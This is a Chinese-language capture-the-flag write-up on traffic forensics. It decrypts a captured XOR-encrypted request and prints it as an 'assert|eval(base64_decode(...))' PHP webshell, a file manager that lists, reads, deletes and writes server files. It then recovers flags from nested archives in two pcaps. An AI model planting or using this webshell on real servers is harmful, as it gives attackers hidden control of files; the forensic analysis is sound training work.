~UI\|~^sxp]!T-z`^qsiA[wdO>C/zkDala^rcs35q qs@bc^sw|CaWhCsgq}a]R*%r-zxTqwrVpssR*%r.qs_[eB]vA\ Ua
 qoIqXVicp\:>}*SkUbc[[`Y(%y nwYbl}KpYY'7\-zxTqwrVpssR*%r-zxTr|y]ZdF @aw]qXVicp\:>}*SkUbc[[`Y(%a=ak\qwVpEa
`ZvnFR{RxR	)ZM
v\\QRfQad	nDhN\XpsR).q
 ~^Tt]q\XgJY T_T>j^X[suXsYE,)-zxTqwrVpssR*%rj{_Z|}]pxA{ r-zxTqwrVpssR*%r-zxX[YeK]gJ4y ~\l~Xacs*!y
lvr
][]|C9!f-Tc[YcDXrdA{ r-zxTqwrVpssR*%r-zxX[YeK]gJ4yZZ`grpwx] TfP* _ZY}GcwgZ).q
 ~^Tt]rX|[~V*JQXjKx`]pYY'7\-zxTqwrVpssR*%q[ hVTqwrVpssR*%r-z{_a[Gpwd@:UyWqh\YZ}G[\Y}>~l\r|y]ZdF%X-zkUmeel ^e7
@@]Ws`@zYsR*%r-zxTqwrVpwxL91u+N	xqwrVpssR*%q=aw_qwyYZxpYb+^	xqwrVpssR*%r-zxTrsiA[wgR35q
{_Z]TZZwt%D-T|Aq]X}a]R*%r-zxTqwrVpss^:T
 ~oF\wrpwx] TfP* Xbc}GcwgZ)!}Wk_ZZbAvG~*%r-zxTqwrVpssR9Wak_swa\XgJY/%r	= F\seD]sY'7\-zxTqwrVpssR*%q=AE[f^swhE!f+N	xqwrVpssR*%r-zxTr|y]ZdF @
k[\|eKp\R35q=aw_v^aWcg_Ta/zsI\c}[ch|O*XU hVTqwrVpssR*%r-zxX[YeK]gJ4yZZ`grpwx] TfP* _ZY}GcwgZ).q
 ~^Tt]rX|V?BQX~[Z`KxU*QPDRy|GV`Q[xw]zVuYs^ !uRzxFqsiA[wdO>C/zkDala^rcY'7\-zxTqwrVpssR*%q=QEqseD`x  .bWwEZX
][]|C9!f.qs_[eB]sYF) 
66owgka
~nIVG)W+N	xqwrVpssR*%r-zxTaZy]`gA'7\-zxTqwrVpw`Y9uSqh|e\VpssR*%r-zxTqwqXZ]d]@,'PxTqwq}aB'7\,'TcZY}Xg@*!e=
s[|b^sw`]!v.~M_]gXz^A{ _>P^[bl[cgO1
<AEaca]csU[UqWwIZwPAra~*%r-xU|e\VpssR 7_
p\rsXttA^2K qs@bc^sw`]!v+@kCsM@ApxA{ r-zxy{eXVsw`]!u .~UWqpVsw`]!u .~UW`]aCch^W)!X)j`Kvbpq~*%r-xRy{lzWY >y qoJZ]rZcwt:2@,'PxTqwr{_a~*%r-~o@[fzYsR*%r(N	xqwrVpqY eR asFqs
FcgO TK>nY[Z_F]sU^9!uR=jNTq_uwlJwL,%z-zkAblXAvG~*%r-xU
|eCswC9!f[-TwJbcucc{).q
 ~^
q_~uV
>nXZcfDw]\,abcicxz.UvVWUYauslf^o-0i1Uqiaushetw23y
5lqiaushetw2Te55Swui_uwh\p]>W2UwpZcuiwgF0 y3UwpZcyyk]e9q.3TYr\K]xdT5!a;2}xlrTKl^^o5WC1]|bYudo]h]5f0mwy]Y~H[xdT.2[V0Rk}]_@jhBX63u!5Riiauc[uhw21}/5oqi__ekexw2>[!5l]kuXtftY.2[ 5lei_Wc] tw23u 5lqiaushetw23u16Up]auyoeto63y5lZDibCchhdw1q 3RqiaurleFw63y0UsJ\qWkc\hw6
e*5oqbushetw23v[-SJ}{YYXgZ)!>~l@r|qY]wUF)!}Wk_ZZbAvGDOY';
        $t="base64_"."decode";
        $post=$t($post."");

        for($i=0;$i<strlen($post);$i++) {
                $post[$i] = $post[$i]^$key[$i+1&15]; }
                print $post;
    }

?>

懒狗没在电脑安装php环境，就直接在kali跑

解密结果如下：

assert|eval(base64_decode('DQplcnJvcl9yZXBvcnRpbmcoMCk7DQpoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04Jyk7DQoNCmZ1bmN0aW9uIGdldFNhZmVTdHIoJHN0cil7DQogICAgJHMxID0gaWNvbnYoJ3V0Zi04JywnZ2JrLy9JR05PUkUnLCRzdHIpOw0KICAgICRzMCA9IGljb252KCdnYmsnLCd1dGYtOC8vSUdOT1JFJywkczEpOw0KICAgIGlmKCRzMCA9PSAkc3RyKXsNCiAgICAgICAgcmV0dXJuICRzMDsNCiAgICB9ZWxzZXsNCiAgICAgICAgcmV0dXJuIGljb252KCdnYmsnLCd1dGYtOC8vSUdOT1JFJywkc3RyKTsNCiAgICB9DQp9DQpmdW5jdGlvbiBnZXRnYmtTdHIoJHN0cil7DQogICAgJHMwID0gaWNvbnYoJ2diaycsJ3V0Zi04Ly9JR05PUkUnLCRzMSk7DQogICAgJHMxID0gaWNvbnYoJ3V0Zi04JywnZ2JrLy9JR05PUkUnLCRzdHIpOw0KICAgIGlmKCRzMSA9PSAkc3RyKXsNCiAgICAgICAgcmV0dXJuICRzMTsNCiAgICB9ZWxzZXsNCiAgICAgICAgcmV0dXJuIGljb252KCd1dGYtOCcsJ2diay8vSUdOT1JFJywkc3RyKTsNCiAgICB9DQp9DQpmdW5jdGlvbiBkZWxEaXIoJGRpcikNCnsNCiAgICAkZmlsZXMgPSBhcnJheV9kaWZmKHNjYW5kaXIoJGRpciksIGFycmF5KA0KICAgICAgICAnLicsDQogICAgICAgICcuLicNCiAgICApKTsNCiAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgKGlzX2RpcigiJGRpci8kZmlsZSIpKSA/IGRlbFRyZWUoIiRkaXIvJGZpbGUiKSA6IHVubGluaygiJGRpci8kZmlsZSIpOw0KICAgIH0NCiAgICByZXR1cm4gcm1kaXIoJGRpcik7DQp9DQoNCmZ1bmN0aW9uIG1haW4oJG1vZGUsICRwYXRoID0gIi4iLCAkY29udGVudCA9ICIiLCAkY2hhcnNldCA9ICIiKQ0Kew0KCSRwYXRoPWdldGdia1N0cigkcGF0aCk7DQogICAgJHJlc3VsdCA9IGFycmF5KCk7DQogICAgaWYgKCRwYXRoID09ICIuIikNCiAgICAgICAgJHBhdGggPSBnZXRjd2QoKTsNCiAgICBzd2l0Y2ggKCRtb2RlKSB7DQogICAgICAgIGNhc2UgImxpc3QiOg0KICAgICAgICAgICAgJGFsbEZpbGVzID0gc2NhbmRpcigkcGF0aCk7DQogICAgICAgICAgICAkb2JqQXJyID0gYXJyYXkoKTsNCiAgICAgICAgICAgIGZvcmVhY2ggKCRhbGxGaWxlcyBhcyAkZmlsZU5hbWUpIHsNCiAgICAgICAgICAgICAgICAkZnVsbFBhdGggPSAkcGF0aCAuICRmaWxlTmFtZTsNCiAgICAgICAgICAgICAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygibWJfY29udmVydF9lbmNvZGluZyIpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICRmaWxlTmFtZT1nZXRTYWZlU3RyKCRmaWxlTmFtZSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgCSRmaWxlTmFtZT1tYl9jb252ZXJ0X2VuY29kaW5nKCRmaWxlTmFtZSwgJ1VURi04JywgbWJfZGV0ZWN0X2VuY29kaW5nKCRmaWxlTmFtZSwgIlVURi04LEdCSyIpKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJG9iaiA9IGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAibmFtZSIgPT4gYmFzZTY0X2VuY29kZSgkZmlsZU5hbWUpLA0KICAgICAgICAgICAgICAgICAgICAic2l6ZSIgPT4gYmFzZTY0X2VuY29kZShmaWxlc2l6ZSgkZnVsbFBhdGgpKSwNCiAgICAgICAgICAgICAgICAgICAgImxhc3RNb2RpZmllZCIgPT4gYmFzZTY0X2VuY29kZShkYXRlKCJZLW0tZCBIOmk6cyIsIGZpbGVtdGltZSgkZnVsbFBhdGgpKSkNCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICRvYmpbInBlcm0iXSA9IGlzX3JlYWRhYmxlKCRmdWxsUGF0aCkgLiAiLCIgLiBpc193cml0YWJsZSgkZnVsbFBhdGgpIC4gIiwiIC4gaXNfZXhlY3V0YWJsZSgkZnVsbFBhdGgpOw0KICAgICAgICAgICAgICAgIGlmIChpc19maWxlKCRmdWxsUGF0aCkpIHsNCiAgICAgICAgICAgICAgICAgICAgJG9ialsidHlwZSJdID0gYmFzZTY0X2VuY29kZSgiZmlsZSIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICRvYmpbInR5cGUiXSA9IGJhc2U2NF9lbmNvZGUoImRpcmVjdG9yeSIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRvYmpBcnIsICRvYmopOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJzdWNjZXNzIik7DQogICAgICAgICAgICAkcmVzdWx0WyJtc2ciXSA9IGJhc2U2NF9lbmNvZGUoanNvbl9lbmNvZGUoJG9iakFycikpOw0KICAgICAgICAgICAgZWNobyBlbmNyeXB0KGpzb25fZW5jb2RlKCRyZXN1bHQpLCAkX1NFU1NJT05bJ2snXSk7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAic2hvdyI6DQogICAgICAgICAgICAkY29udGVudHMgPSBmaWxlX2dldF9jb250ZW50cygkcGF0aCk7ICAgICAgICAgICAgICAgDQogICAgICAgICAgICAkcmVzdWx0WyJzdGF0dXMiXSA9IGJhc2U2NF9lbmNvZGUoInN1Y2Nlc3MiKTsNCiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoIm1iX2NvbnZlcnRfZW5jb2RpbmciKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBpZiAoJGNoYXJzZXQ9PSIiKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJGNoYXJzZXQgPSBtYl9kZXRlY3RfZW5jb2RpbmcoJGNvbnRlbnRzLCBhcnJheSgNCiAgICAgICAgICAgICAgICAgICAgICAgICdHQjIzMTInLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ0dCSycsDQogICAgICAgICAgICAgICAgICAgICAgICAnVVRGLTE2JywNCiAgICAgICAgICAgICAgICAgICAgICAgICdVQ1MtMicsDQogICAgICAgICAgICAgICAgICAgICAgICAnVVRGLTgnLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ0JJRzUnLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ0FTQ0lJJw0KICAgICAgICAgICAgICAgICAgICApKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJHJlc3VsdFsibXNnIl0gPSBiYXNlNjRfZW5jb2RlKG1iX2NvbnZlcnRfZW5jb2RpbmcoJGNvbnRlbnRzLCAiVVRGLTgiLCAkY2hhcnNldCkpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGlmICgkY2hhcnNldD09IiIpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkcmVzdWx0WyJtc2ciXSA9IGJhc2U2NF9lbmNvZGUoZ2V0U2FmZVN0cigkY29udGVudHMpKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHJlc3VsdFsibXNnIl0gPSBiYXNlNjRfZW5jb2RlKGljb252KCRjaGFyc2V0LCAndXRmLTgvL0lHTk9SRScsICRjb250ZW50cykpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRyZXN1bHQgPSBlbmNyeXB0KGpzb25fZW5jb2RlKCRyZXN1bHQpLCRfU0VTU0lPTlsnayddKTsNCiAgICAgICAgICAgIGVjaG8gJHJlc3VsdDsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICJkb3dubG9hZCI6DQogICAgICAgICAgICBpZiAoISBmaWxlX2V4aXN0cygkcGF0aCkpIHsNCiAgICAgICAgICAgICAgICBoZWFkZXIoJ0hUVFAvMS4xIDQwNCBOT1QgRk9VTkQnKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJGZpbGUgPSBmb3BlbigkcGF0aCwgInJiIik7DQogICAgICAgICAgICAgICAgZWNobyBmcmVhZCgkZmlsZSwgZmlsZXNpemUoJHBhdGgpKTsNCiAgICAgICAgICAgICAgICBmY2xvc2UoJGZpbGUpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgImRlbGV0ZSI6DQogICAgICAgICAgICBpZiAoaXNfZmlsZSgkcGF0aCkpIHsNCiAgICAgICAgICAgICAgICBpZiAodW5saW5rKCRwYXRoKSkgew0KICAgICAgICAgICAgICAgICAgICAkcmVzdWx0WyJzdGF0dXMiXSA9IGJhc2U2NF9lbmNvZGUoInN1Y2Nlc3MiKTsNCiAgICAgICAgICAgICAgICAgICAgJHJlc3VsdFsibXNnIl0gPSBiYXNlNjRfZW5jb2RlKCRwYXRoIC4gIuWIoOmZpOaIkOWKnyIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICRyZXN1bHRbInN0YXR1cyJdID0gYmFzZTY0X2VuY29kZSgiZmFpbCIpOw0KICAgICAgICAgICAgICAgICAgICAkcmVzdWx0WyJtc2ciXSA9IGJhc2U2NF9lbmNvZGUoJHBhdGggLiAi5Yig6Zmk5aSx6LSlIik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKGlzX2RpcigkcGF0aCkpIHsNCiAgICAgICAgICAgICAgICBkZWxEaXIoJHBhdGgpOw0KICAgICAgICAgICAgICAgICRyZXN1bHRbInN0YXR1cyJdID0gYmFzZTY0X2VuY29kZSgic3VjY2VzcyIpOw0KICAgICAgICAgICAgICAgICRyZXN1bHRbIm1zZyJdID0gYmFzZTY0X2VuY29kZSgkcGF0aC4i5Yig6Zmk5oiQ5YqfIik7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvIGVuY3J5cHQoanNvbl9lbmNvZGUoJHJlc3VsdCksJF9TRVNTSU9OWydrJ10pOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgImNyZWF0ZSI6DQogICAgICAgICAgICAkZmlsZSA9IGZvcGVuKCRwYXRoLCAidyIpOw0KICAgICAgICAgICAgJGNvbnRlbnQgPSBiYXNlNjRfZGVjb2RlKCRjb250ZW50KTsNCiAgICAgICAgICAgIGZ3cml0ZSgkZmlsZSwgJGNvbnRlbnQpOw0KICAgICAgICAgICAgZmZsdXNoKCRmaWxlKTsNCiAgICAgICAgICAgIGZjbG9zZSgkZmlsZSk7DQogICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHBhdGgpICYmIGZpbGVzaXplKCRwYXRoKSA9PSBzdHJsZW4oJGNvbnRlbnQpKSB7DQogICAgICAgICAgICAgICAgJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJzdWNjZXNzIik7DQogICAgICAgICAgICAgICAgJHJlc3VsdFsibXNnIl0gPSBiYXNlNjRfZW5jb2RlKCRwYXRoIC4gIuS4iuS8oOWujOaIkO+8jOi/nOeoi+aWh+S7tuWkp+WwPzoiIC4gJHBhdGggLiBmaWxlc2l6ZSgkcGF0aCkpOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAkcmVzdWx0WyJzdGF0dXMiXSA9IGJhc2U2NF9lbmNvZGUoImZhaWwiKTsNCiAgICAgICAgICAgICAgICAkcmVzdWx0WyJtc2ciXSA9IGJhc2U2NF9lbmNvZGUoJHBhdGggLiAi5LiK5Lyg5aSx6LSlIik7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvIGVuY3J5cHQoanNvbl9lbmNvZGUoJHJlc3VsdCksICRfU0VTU0lPTlsnayddKTsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICJhcHBlbmQiOg0KICAgICAgICAgICAgJGZpbGUgPSBmb3BlbigkcGF0aCwgImErIik7DQogICAgICAgICAgICAkY29udGVudCA9IGJhc2U2NF9kZWNvZGUoJGNvbnRlbnQpOw0KICAgICAgICAgICAgZndyaXRlKCRmaWxlLCAkY29udGVudCk7DQogICAgICAgICAgICBmY2xvc2UoJGZpbGUpOw0KICAgICAgICAgICAgJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJzdWNjZXNzIik7DQogICAgICAgICAgICAkcmVzdWx0WyJtc2ciXSA9IGJhc2U2NF9lbmNvZGUoJHBhdGggLiAi6L+95Yqg5a6M5oiQ77yM6L+c56iL5paH5Lu25aSn5bA/OiIgLiAkcGF0aCAuIGZpbGVzaXplKCRwYXRoKSk7DQogICAgICAgICAgICBlY2hvIGVuY3J5cHQoanNvbl9lbmNvZGUoJHJlc3VsdCksJF9TRVNTSU9OWydrJ10pOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGRlZmF1bHQ6DQogICAgICAgICAgICBicmVhazsNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIGVuY3J5cHQoJGRhdGEsJGtleSkNCnsNCglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQ0KICAgIAl7DQogICAgCQlmb3IoJGk9MDskaTxzdHJsZW4oJGRhdGEpOyRpKyspIHsNCiAgICAJCQkgJGRhdGFbJGldID0gJGRhdGFbJGldXiRrZXlbJGkrMSYxNV07IA0KICAgIAkJCX0NCgkJCXJldHVybiAkZGF0YTsNCiAgICAJfQ0KICAgIGVsc2UNCiAgICAJew0KICAgIAkJcmV0dXJuIG9wZW5zc2xfZW5jcnlwdCgkZGF0YSwgIkFFUzEyOCIsICRrZXkpOw0KICAgIAl9DQp9JG1vZGU9ImNyZWF0ZSI7JHBhdGg9IkM6L3d3dy9yZWFkbWUuN3oiOyRjb250ZW50PSJOM3E4cnljY0FBUVlZNVZwUlFBQUFBQUFBQUJhQUFBQUFBQUFBQ2VWQjNFQkFFQlBheXdnVlNCbWFXNWtJSFJvWlNCbWJHRm5PZzBLWm14aFozdHVaVGRYVDFKTFgzUnlZV1ptU1dOZmFUVmZhVzUwTTNJemMybHVaMTh4TkRNek1qSXpmUUFCQkFZQUFRbEZBQWNMQVFBQklTRUJBQXhCQUFnS0FiMVFlMThBQUFVQkdRd0FBQUFBQUFBQUFBQUFBQUFSRlFCeUFHVUFZUUJrQUcwQVpRQXVBRzBBWkFBQUFCUUtBUUJjTlJydEdZZlZBUlVHQVFBZ0FBQUFBQUE9IjsNCm1haW4oJG1vZGUsJHBhdGgsJGNvbnRlbnQpOw=='));

base64解码后得出如下，但是解码后又发现又有一串base64编码，继续再解一下得出最后的真flag

N3q8ryccAAQYY5VpRQAAAAAAAABaAAAAAAAAACeVB3EBAEBPaywgVSBmaW5kIHRoZSBmbGFnOg0KZmxhZ3tuZTdXT1JLX3RyYWZmSWNfaTVfaW50M3Izc2luZ18xNDMzMjIzfQABBAYAAQlFAAcLAQABISEBAAxBAAgKAb1Qe18AAAUBGQwAAAAAAAAAAAAAAAARFQByAGUAYQBkAG0AZQAuAG0AZAAAABQKAQBcNRrtGYfVARUGAQAgAAAAAAA=

flag{ne7WORK_traffIc_i5_int3r3sing_1433223}

流量1.pcapng

打开流量包后过滤http协议并且搜索flag，发现http协议里面最后一个包有一大串base64编码，直接拿去解一下

解码后发现有一个pk头，也发现有一个文件为flag.txt

感觉看得并不是很清晰就放进010看，直接保存为一个zip

但是解压发现需要密码，幸好出题人在压缩包注释里写上压缩包密码为flagflagflagflagflag，最后直接获得flag

flag{407284cc78d4774e2d838d6fdc7c30de}